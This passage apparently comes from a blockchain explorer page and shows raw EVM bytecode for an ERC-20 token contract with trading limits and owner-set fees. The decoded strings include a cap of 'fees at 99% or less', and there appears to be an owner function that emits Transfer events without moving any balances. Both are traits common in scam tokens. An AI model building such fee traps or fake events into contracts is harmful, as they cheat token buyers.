ffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cab91906138be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0f919061361a565b60405180910390a3612d22848484612f66565b50505050565b6000612d3330611098565b90506000601554601654612d4791906138be565b9050600080831480612d595750600082145b15612d6657505050612f33565b6014600b54612d759190613cb1565b831115612d8e576014600b54612d8b9190613cb1565b92505b600060028360165486612da19190613cb1565b612dab9190613d22565b612db59190613d22565b90506000612dcc8286612f6b90919063ffffffff16565b90506000479050612ddc82612f81565b6000612df18247612f6b90919063ffffffff16565b90506000612e1c87612e0e60155485612f3590919063ffffffff16565b612f4b90919063ffffffff16565b905060008183612e2c9190614594565b905060006016819055506000601581905550600086118015612e4e5750600081115b15612e9b57612e5d86826131be565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601654604051612e929392919061477e565b60405180910390a15b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612ee1906147e6565b60006040518083038185875af1925050503d8060008114612f1e576040519150601f19603f3d011682016040523d82523d6000602084013e612f23565b606091505b5050809750505050505050505050505b565b60008183612f439190613cb1565b905092915050565b60008183612f599190613d22565b905092915050565b505050565b505050565b60008183612f799190614594565b905092915050565b6000600267ffffffffffffffff811115612f9e57612f9d6147fb565b5b604051908082528060200260200182016040528015612fcc5781602001602082028036833780820191505090505b5090503081600081518110612fe457612fe36139be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad919061483f565b816001815181106130c1576130c06139be565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613126307f000000000000000000000000000000000000000000000000000000000000000084611c9a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613188959493929190614965565b600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b505050505050565b6131e9307f000000000000000000000000000000000000000000000000000000000000000084611c9a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613250969594939291906149bf565b60606040518083038185885af115801561326e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132939190614a35565b5050505050565b600080fd5b600080fd5b6000819050919050565b6132b7816132a4565b81146132c257600080fd5b50565b6000813590506132d4816132ae565b92915050565b600080604083850312156132f1576132f061329a565b5b60006132ff858286016132c5565b9250506020613310858286016132c5565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613354578082015181840152602081019050613339565b60008484015250505050565b6000601f19601f8301169050919050565b600061337c8261331a565b6133868185613325565b9350613396818560208601613336565b61339f81613360565b840191505092915050565b600060208201905081810360008301526133c48184613371565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133f7826133cc565b9050919050565b613407816133ec565b811461341257600080fd5b50565b600081359050613424816133fe565b92915050565b600080604083850312156134415761344061329a565b5b600061344f85828601613415565b9250506020613460858286016132c5565b9150509250929050565b60008115159050919050565b61347f8161346a565b82525050565b600060208201905061349a6000830184613476565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126134c5576134c46134a0565b5b8235905067ffffffffffffffff8111156134e2576134e16134a5565b5b6020830191508360208202830111156134fe576134fd6134aa565b5b9250929050565b61350e8161346a565b811461351957600080fd5b50565b60008135905061352b81613505565b92915050565b60008060006040848603121561354a5761354961329a565b5b600084013567ffffffffffffffff8111156135685761356761329f565b5b613574868287016134af565b935093505060206135878682870161351c565b9150509250925092565b6000819050919050565b60006135b66135b16135ac846133cc565b613591565b6133cc565b9050919050565b60006135c88261359b565b9050919050565b60006135da826135bd565b9050919050565b6135ea816135cf565b82525050565b600060208201905061360560008301846135e1565b92915050565b613614816132a4565b82525050565b600060208201905061362f600083018461360b565b92915050565b60008060006060848603121561364e5761364d61329a565b5b600061365c86828701613415565b935050602061366d86828701613415565b925050604061367e868287016132c5565b9150509250925092565b6000806000604084860312156136a1576136a061329a565b5b600084013567ffffffffffffffff8111156136bf576136be61329f565b5b6136cb868287016134af565b935093505060206136de868287016132c5565b9150509250925092565b6136f1816133ec565b82525050565b600060208201905061370c60008301846136e8565b92915050565b600060ff82169050919050565b61372881613712565b82525050565b6000602082019050613743600083018461371f565b92915050565b60006020828403121561375f5761375e61329a565b5b600061376d84828501613415565b91505092915050565b6000806040838503121561378d5761378c61329a565b5b600061379b85828601613415565b92505060206137ac8582860161351c565b9150509250929050565b6000602082840312156137cc576137cb61329a565b5b60006137da848285016132c5565b91505092915050565b600080604083850312156137fa576137f961329a565b5b600061380885828601613415565b925050602061381985828601613415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613859602083613325565b915061386482613823565b602082019050919050565b600060208201905081810360008301526138888161384c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c9826132a4565b91506138d4836132a4565b92508282019050808211156138ec576138eb61388f565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000613928601d83613325565b9150613933826138f2565b602082019050919050565b600060208201905081810360008301526139578161391b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139a557607f821691505b6020821081036139b8576139b761395e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006139f8826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613a2a57613a2961388f565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a91602883613325565b9150613a9c82613a35565b604082019050919050565b60006020820190508181036000830152613ac081613a84565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613afd601d83613325565b9150613b0882613ac7565b602082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613b8a57808604811115613b6657613b6561388f565b5b6001851615613b755780820291505b8081029050613b8385613b33565b9450613b4a565b94509492505050565b600082613ba35760019050613c5f565b81613bb15760009050613c5f565b8160018114613bc75760028114613bd157613c00565b6001915050613c5f565b60ff841115613be357613be261388f565b5b8360020a915084821115613bfa57613bf961388f565b5b50613c5f565b5060208310610133831016604e8410600b8410161715613c355782820a905083811115613c3057613c2f61388f565b5b613c5f565b613c428484846001613b40565b92509050818404811115613c5957613c5861388f565b5b81810290505b9392505050565b6000613c71826132a4565b9150613c7c83613712565b9250613ca97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b6000613cbc826132a4565b9150613cc7836132a4565b9250828202613cd5816132a4565b91508282048414831517613cec57613ceb61388f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2d826132a4565b9150613d38836132a4565b925082613d4857613d47613cf3565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613daf602183613325565b9150613dba82613d53565b604082019050919050565b60006020820190508181036000830152613dde81613da2565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e41602483613325565b9150613e4c82613de5565b604082019050919050565b60006020820190508181036000830152613e7081613e34565b9050919050565b6000613e82826132a4565b9150613e8d836132a4565b9250613eba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613f1e603983613325565b9150613f2982613ec2565b604082019050919050565b60006020820190508181036000830152613f4d81613f11565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613fb0602583613325565b9150613fbb82613f54565b604082019050919050565b60006020820190508181036000830152613fdf81613fa3565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614042603583613325565b915061404d82613fe6565b604082019050919050565b6000602082019050818103600083015261407181614035565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006140d4603483613325565b91506140df82614078565b604082019050919050565b60006020820190508181036000830152614103816140c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614166602683613325565b91506141718261410a565b604082019050919050565b6000602082019050818103600083015261419581614159565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006141f8602483613325565b91506142038261419c565b604082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061428a602283613325565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b60006142f6601e83613325565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b6000614362601c83613325565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006143ce601683613325565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614460603583613325565b915061446b82614404565b604082019050919050565b6000602082019050818103600083015261448f81614453565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006144cc601383613325565b91506144d782614496565b602082019050919050565b600060208201905081810360008301526144fb816144bf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061455e603683613325565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b600061459f826132a4565b91506145aa836132a4565b92508282039050818111156145c2576145c161388f565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614624602583613325565b915061462f826145c8565b604082019050919050565b6000602082019050818103600083015261465381614617565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146b6602383613325565b91506146c18261465a565b604082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614748602683613325565b9150614753826146ec565b604082019050919050565b600060208201905081810360008301526147778161473b565b9050919050565b6000606082019050614793600083018661360b565b6147a0602083018561360b565b6147ad604083018461360b565b949350505050565b600081905092915050565b50565b60006147d06000836147b5565b91506147db826147c0565b600082019050919050565b60006147f1826147c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614839816133fe565b92915050565b6000602082840312156148555761485461329a565b5b60006148638482850161482a565b91505092915050565b6000819050919050565b600061489161488c6148878461486c565b613591565b6132a4565b9050919050565b6148a181614876565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148dc816133ec565b82525050565b60006148ee83836148d3565b60208301905092915050565b6000602082019050919050565b6000614912826148a7565b61491c81856148b2565b9350614927836148c3565b8060005b8381101561495857815161493f88826148e2565b975061494a836148fa565b92505060018101905061492b565b5085935050505092915050565b600060a08201905061497a600083018861360b565b6149876020830187614898565b81810360408301526149998186614907565b90506149a860608301856136e8565b6149b5608083018461360b565b9695505050505050565b600060c0820190506149d460008301896136e8565b6149e1602083018861360b565b6149ee6040830187614898565b6149fb6060830186614898565b614a0860808301856136e8565b614a1560a083018461360b565b979650505050505050565b600081519050614a2f816132ae565b92915050565b600080600060608486031215614a4e57614a4d61329a565b5b6000614a5c86828701614a20565b9350506020614a6d86828701614a20565b9250506040614a7e86828701614a20565b915050925092509256fea264697066735822122017155f1cb22a0685937b8fc44fb0bc9aea72b6cd092838817f29e4a9a94d610664736f6c63430008130033000000000000000000000000c6fae7109e8d4fc8593c9c1f90373894c51ac51b

Deployed Bytecode

0x6080604052600436106102295760003560e01c806375f0a87411610123578063bbc0c742116100ab578063d85ba0631161006f578063d85ba0631461083c578063dd62ed3e14610867578063e2f45605146108a4578063f2fde38b146108cf578063f8b45b05146108f857610230565b8063bbc0c74214610757578063c024666814610782578063c2b7bbb6146107ab578063c8c8ebe4146107d4578063d257b34f146107ff57610230565b80639a7a23d6116100f25780639a7a23d61461064c578063a457c2d714610675578063a64e4f8a146106b2578063a9059cbb146106dd578063b66392781461071a57610230565b806375f0a874146105a25780638da5cb5b146105cd57806395d89b41146105f8578063961883991461062357610230565b8063313ce567116101b15780636a486a8e116101755780636a486a8e146104cf5780636ddd1713146104fa57806370a0823114610525578063715018a6146105625780637571336a1461057957610230565b8063313ce567146103d6578063395093511461040157806349bd5a5e1461043e5780634fbee1931461046957806366ca9b83146104a657610230565b80631694505e116101f85780631694505e146102ef57806318160ddd1461031a57806323b872dd1461034557806326ededb81461038257806327c8f835146103ab57610230565b806302dbd8f81461023557806306fdde031461025e578063095ea7b3146102895780631186b8d8146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c600480360381019061025791906132da565b610923565b005b34801561026a57600080fd5b50610273610a16565b60405161028091906133aa565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061342a565b610aa8565b6040516102bd9190613485565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e89190613531565b610ac6565b005b3480156102fb57600080fd5b50610304610be7565b60405161031191906135f0565b60405180910390f35b34801561032657600080fd5b5061032f610c0b565b60405161033c919061361a565b60405180910390f35b34801561035157600080fd5b5061036c60048036038101906103679190613635565b610c15565b6040516103799190613485565b60405180910390f35b34801561038e57600080fd5b506103a960048036038101906103a49190613688565b610d0d565b005b3480156103b757600080fd5b506103c0610e5e565b6040516103cd91906136f7565b60405180910390f35b3480156103e257600080fd5b506103eb610e64565b6040516103f8919061372e565b60405180910390f35b34801561040d57600080fd5b506104286004803603810190610423919061342a565b610e6d565b6040516104359190613485565b60405180910390f35b34801561044a57600080fd5b50610453610f19565b60405161046091906136f7565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b9190613749565b610f3f565b60405161049d9190613485565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c891906132da565b610f95565b005b3480156104db57600080fd5b506104e461107f565b6040516104f1919061361a565b60405180910390f35b34801561050657600080fd5b5061050f611085565b60405161051c9190613485565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190613749565b611098565b604051610559919061361a565b60405180910390f35b34801561056e57600080fd5b506105776110e0565b005b34801561058557600080fd5b506105a0600480360381019061059b9190613776565b611168565b005b3480156105ae57600080fd5b506105b761123f565b6040516105c491906136f7565b60405180910390f35b3480156105d957600080fd5b506105e2611265565b6040516105ef91906136f7565b60405180910390f35b34801561060457600080fd5b5061060d61128f565b60405161061a91906133aa565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906132da565b611321565b005b34801561065857600080fd5b50610673600480360381019061066e9190613776565b611505565b005b34801561068157600080fd5b5061069c6004803603810190610697919061342a565b611629565b6040516106a99190613485565b60405180910390f35b3480156106be57600080fd5b506106c7611714565b6040516106d49190613485565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff919061342a565b611727565b6040516107119190613485565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190613749565b611745565b60405161074e9190613485565b60405180910390f35b34801561076357600080fd5b5061076c61179b565b6040516107799190613485565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a49190613776565b6117ae565b005b3480156107b757600080fd5b506107d260048036038101906107cd9190613749565b6118d3565b005b3480156107e057600080fd5b506107e9611993565b6040516107f6919061361a565b60405180910390f35b34801561080b57600080fd5b50610826600480360381019061082191906137b6565b611999565b6040516108339190613485565b60405180910390f35b34801561084857600080fd5b50610851611aee565b60405161085e919061361a565b60405180910390f35b34801561087357600080fd5b5061088e600480360381019061088991906137e3565b611af4565b60405161089b919061361a565b60405180910390f35b3480156108b057600080fd5b506108b9611b7b565b6040516108c6919061361a565b60405180910390f35b3480156108db57600080fd5b506108f660048036038101906108f19190613749565b611b81565b005b34801561090457600080fd5b5061090d611c78565b60405161091a919061361a565b60405180910390f35b61092b611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610949611c86565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109969061386f565b60405180910390fd5b81601381905550806014819055506014546013546109bd91906138be565b60128190555060125460118190555060636012541115610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061393e565b60405180910390fd5b5050565b606060038054610a259061398d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a519061398d565b8015610a9e5780601f10610a7357610100808354040283529160200191610a9e565b820191906000526020600020905b815481529060010190602001808311610a8157829003601f168201915b5050505050905090565b6000610abc610ab5611c7e565b8484611c9a565b6001905092915050565b610ace611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610aec611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061386f565b60405180910390fd5b60005b83839050811015610be1578160076000868685818110610b6857610b676139be565b5b9050602002016020810190610b7d9190613749565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bd9906139ed565b915050610b45565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000610c22848484611e63565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce490613aa7565b60405180910390fd5b610d0185610cf9611c7e565b858403611c9a565b60019150509392505050565b610d15611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610d33611c86565b73ffffffffffffffffffffffffffffffffffffffff1614610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d809061386f565b60405180910390fd5b60005b83839050811015610e5857838382818110610daa57610da96139be565b5b9050602002016020810190610dbf9190613749565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e3d919061361a565b60405180910390a38080610e50906139ed565b915050610d8c565b50505050565b61dead81565b60006009905090565b6000610f0f610e7a611c7e565b848460016000610e88611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0a91906138be565b611c9a565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610f9d611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610fbb611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611011576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110089061386f565b60405180910390fd5b81600f8190555080600e81905550600e54600f5461102f91906138be565b6010819055506014601054111561107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290613b13565b60405180910390fd5b5050565b60125481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110e8611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611106611c86565b73ffffffffffffffffffffffffffffffffffffffff161461115c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111539061386f565b60405180910390fd5b611166600061289a565b565b611170611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661118e611c86565b73ffffffffffffffffffffffffffffffffffffffff16146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db9061386f565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461129e9061398d565b80601f01602080910402602001604051908101604052809291908181526020018280546112ca9061398d565b80156113175780601f106112ec57610100808354040283529160200191611317565b820191906000526020600020905b8154815290600101906020018083116112fa57829003601f168201915b5050505050905090565b611329611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611347611c86565b73ffffffffffffffffffffffffffffffffffffffff161461139d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113949061386f565b60405180910390fd5b6113a5610e64565b600a6113b19190613c66565b6103e860056113be610c0b565b6113c89190613cb1565b6113d29190613d22565b6113dc9190613d22565b82101561141e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141590613dc5565b60405180910390fd5b611426610e64565b600a6114329190613c66565b6103e8600561143f610c0b565b6114499190613cb1565b6114539190613d22565b61145d9190613d22565b81101561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613e57565b60405180910390fd5b6114a7610e64565b600a6114b39190613c66565b600a6114bf9190613e77565b816114ca9190613cb1565b600c819055506114d8610e64565b600a6114e49190613c66565b600a6114f09190613e77565b826114fb9190613cb1565b600a819055505050565b61150d611c7e565b73ffffffffffffffffffffffffffffffffffffffff1661152b611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061386f565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160890613f34565b60405180910390fd5b61161b8282611168565b6116258282612960565b5050565b60008060016000611638611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec90613fc6565b60405180910390fd5b611709611700611c7e565b85858403611c9a565b600191505092915050565b600d60019054906101000a900460ff1681565b600061173b611734611c7e565b8484611e63565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900460ff1681565b6117b6611c7e565b73ffffffffffffffffffffffffffffffffffffffff166117d4611c86565b73ffffffffffffffffffffffffffffffffffffffff161461182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061386f565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516118c79190613485565b60405180910390a25050565b6118db611c7e565b73ffffffffffffffffffffffffffffffffffffffff166118f9611c86565b73ffffffffffffffffffffffffffffffffffffffff161461194f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119469061386f565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60006119a3611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119c1611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0e9061386f565b60405180910390fd5b620186a06001611a25610c0b565b611a2f9190613cb1565b611a399190613d22565b821015611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290614058565b60405180910390fd5b6103e86005611a88610c0b565b611a929190613cb1565b611a9c9190613d22565b821115611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad5906140ea565b60405180910390fd5b81600b8190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b611b89611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611ba7611c86565b73ffffffffffffffffffffffffffffffffffffffff1614611bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf49061386f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639061417c565b60405180910390fd5b611c758161289a565b50565b600c5481565b600033905090565b600080611c91612a01565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d009061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f906142a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e56919061361a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec99061430c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3890614378565b60405180910390fd5b60008103611f5a57611f5583836000612aa9565b612895565b611f62611265565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fd05750611fa0611265565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120095750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612043575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561205c5750600860149054906101000a900460ff16155b1561239057600d60009054906101000a900460ff1661215657601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121165750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214c906143e4565b60405180910390fd5b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121f95750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122a057600a54811115612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90614476565b60405180910390fd5b600c5461224f83611098565b8261225a91906138be565b111561229b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612292906144e2565b60405180910390fd5b61238f565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123435750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561238e57600a5481111561238